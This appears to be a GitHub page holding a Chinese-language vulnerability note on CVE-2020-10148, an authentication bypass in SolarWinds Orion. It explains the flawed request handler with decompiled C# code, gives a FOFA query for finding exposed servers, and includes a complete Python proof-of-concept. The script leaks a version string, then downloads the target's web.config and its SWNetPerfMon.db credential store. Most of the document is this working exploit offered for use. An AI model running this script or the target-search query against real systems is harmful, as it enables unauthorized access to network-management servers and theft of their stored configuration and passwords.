Skip to content

Latest commit

 

History

History
167 lines (129 loc) · 6.53 KB

CVE-2020-10148 SolarWinds Orion API 远程代码执行漏洞.md

File metadata and controls

167 lines (129 loc) · 6.53 KB

CVE-2020-10148 SolarWinds Orion API 远程代码执行漏洞

SolarWinds Inc. 是一家美国公司,为企业提软件以帮助管理其网络,系统和信息技术基础架构。攻击者通过构造恶意URI,可以绕过API身份验证,从而利用API功能造成远程代码执行漏洞。

影响版本

SolarWinds Orion 2020.2.1 HF 2 及 2019.4 HF 6之前的版本

SolarWinds.Orion.Web.HttpModules 在 OnRequest 中 构造的path如果含有比如 Skipi18n,以css/js结尾等 ,则会直接context.SkipAuthorization = true 跳过了认证

FOFA:

app="SolarWinds-Network-Performance-Monitor"

CVE-2020-10148-poc.py:

# CVE-2020-10148  (local file disclosure PoC for SolarWinds Orion aka door to SuperNova ? )
# @0xSha 
# (C) 2020 0xSha.io 

# Advisory : https://www.solarwinds.com/securityadvisory
# Mitigation : https://downloads.solarwinds.com/solarwinds/Support/SupernovaMitigation.zip
# Details : https://kb.cert.org/vuls/id/843464

# C:\inetpub\SolarWinds\bin\OrionWeb.DLL
# According to SolarWinds.Orion.Web.HttpModules
# in case of special strings this will set auth to null user and if case of ending with .i18n.ashx it will read the files
'''
private static void OnRequest(object sender, EventArgs e)
                {
                        HttpApplication httpApplication = (HttpApplication)sender;
                        HttpContext context = httpApplication.Context;
                        string path = context.Request.Path;
                        if (path.IndexOf("Skipi18n", StringComparison.OrdinalIgnoreCase) >= 0)
                        {
                                if (context.User == null || !context.User.Identity.IsAuthenticated)
                                {
                                        context.SkipAuthorization = true;
                                        context.User = new NullUser();
                                }
                                return;
                        }
                        if (path.EndsWith(".css", StringComparison.OrdinalIgnoreCase) || path.EndsWith(".js", StringComparison.OrdinalIgnoreCase))
                        {
                                if (context.User == null || !context.User.Identity.IsAuthenticated)
                                {
                                        context.SkipAuthorization = true;
                                        context.User = new NullUser();
                                }
                                LocalizerHttpHandler.RedirectToMe(context, context.Request.Path);
                                return;
                        }
                        if (!path.EndsWith(".i18n.ashx"))
                        {
                                return;
                        }
                        string revisedFile = path.Substring(0, path.Length - ".i18n.ashx".Length);
                        string path2 = i18nRedirector.RebuildPath(context.Request.QueryString, revisedFile);
                        context.RewritePath(path2);
                }

        private static string RebuildPath(NameValueCollection nvc, string revisedFile)
                {
                        return "/Orion/i18n.ashx?file=" + revisedFile + "&" + string.Join("&", (from x in nvc.AllKeys
                        where x != "file"
                        select x into key
                        select string.Format("{0}={1}", HttpUtility.UrlEncode(key), HttpUtility.UrlEncode(nvc[key]))).ToArray<string>());
                }
'''


#/usr/local/bin/python3
import requests
import sys


if len(sys.argv) < 2:
    print ("[*] Usage : CVE-2020-10148.py http(s)://target")
    exit(-1)

if not(sys.argv[1].startswith("http://")):
    if not(sys.argv[1].startswith("https://")):
        print("[-] target starts either with http:// or https://")
        exit(-1)


print ("[*] Trying to leak valid file version")
target = sys.argv[1]

# appending .js to always invalid file 
# we don't verify because of self-signed instances 
# not really required but doesn't hurt either. 
leakVersion = requests.get(target+"/Orion/invalid.aspx.js" ,verify=False)  

if(leakVersion.headers["location"]):
    print("[+] Got location header")
    index = leakVersion.headers["location"].index(".i18n.ashx")
    leakedVersion = (leakVersion.headers["location"][index:])
    if (leakedVersion.__contains__("v=")):
        print ("[+] Version seems valid")
    else:
        print("[-] Invalid version")
        exit(-1)
else:
    print("[-] Can't get a valid version")
    exit(-1)

print("[*] Trying to leak web.config file ")
#print(target+"/web.config"+leakedVersion)
leakedConfig = requests.get(target+"/web.config"+leakedVersion, verify=False)
#print(leakedConfig.status_code)

if (leakedConfig.status_code == 200) and len(leakedConfig.text) > 1 :
    print("[+] Target is vulnerable Got the web.config file ")
    outputFile = target.replace("https://","").replace("http://","")+"_web.config"
    configFile = open(outputFile,"w")
    configFile.write(leakedConfig.text)
    configFile.close() 
    print("[+] web.config written to : " + outputFile )
else:
    print("[-] Failed to download web.config target is not vulnerable")
    exit(-1)

 
print("[*] Trying to leak SWNetPerfMon.db file (works only on older versions of orion) ")
# https://support.solarwinds.com/SuccessCenter/s/article/Passwords-that-Orion-stores-locally-on-the-server?language=en_US
# C:\inetpub\SolarWinds\SWNetPerfMon.db
# C:\Program Files (x86)\SolarWinds\Orion\SWNetPerfMon.db

leakedDB = requests.get(target+"/SWNetPerfMon.db"+leakedVersion, verify=False)

if (leakedDB.status_code == 200) and len(leakedDB.text) > 1:
    print("[+] Target is vulnerable Got the SWNetPerfMon.db file ")
   
    outputFile = target.replace("https://","").replace("http://","")+"_SWNetPerfMon.db"
    configFile = open(outputFile,"w")
    configFile.write(leakedDB.text)
    configFile.close() 
    # encrypted ? https://www.atredis.com/blog/2018/10/24/fun-with-the-solarwinds-orion-platform
    print("[+] SWNetPerfMon.db written to : " + outputFile )
else:
    print("[-] Failed to download SWNetPerfMon.db target is on newer version")
    exit(-1)

参考: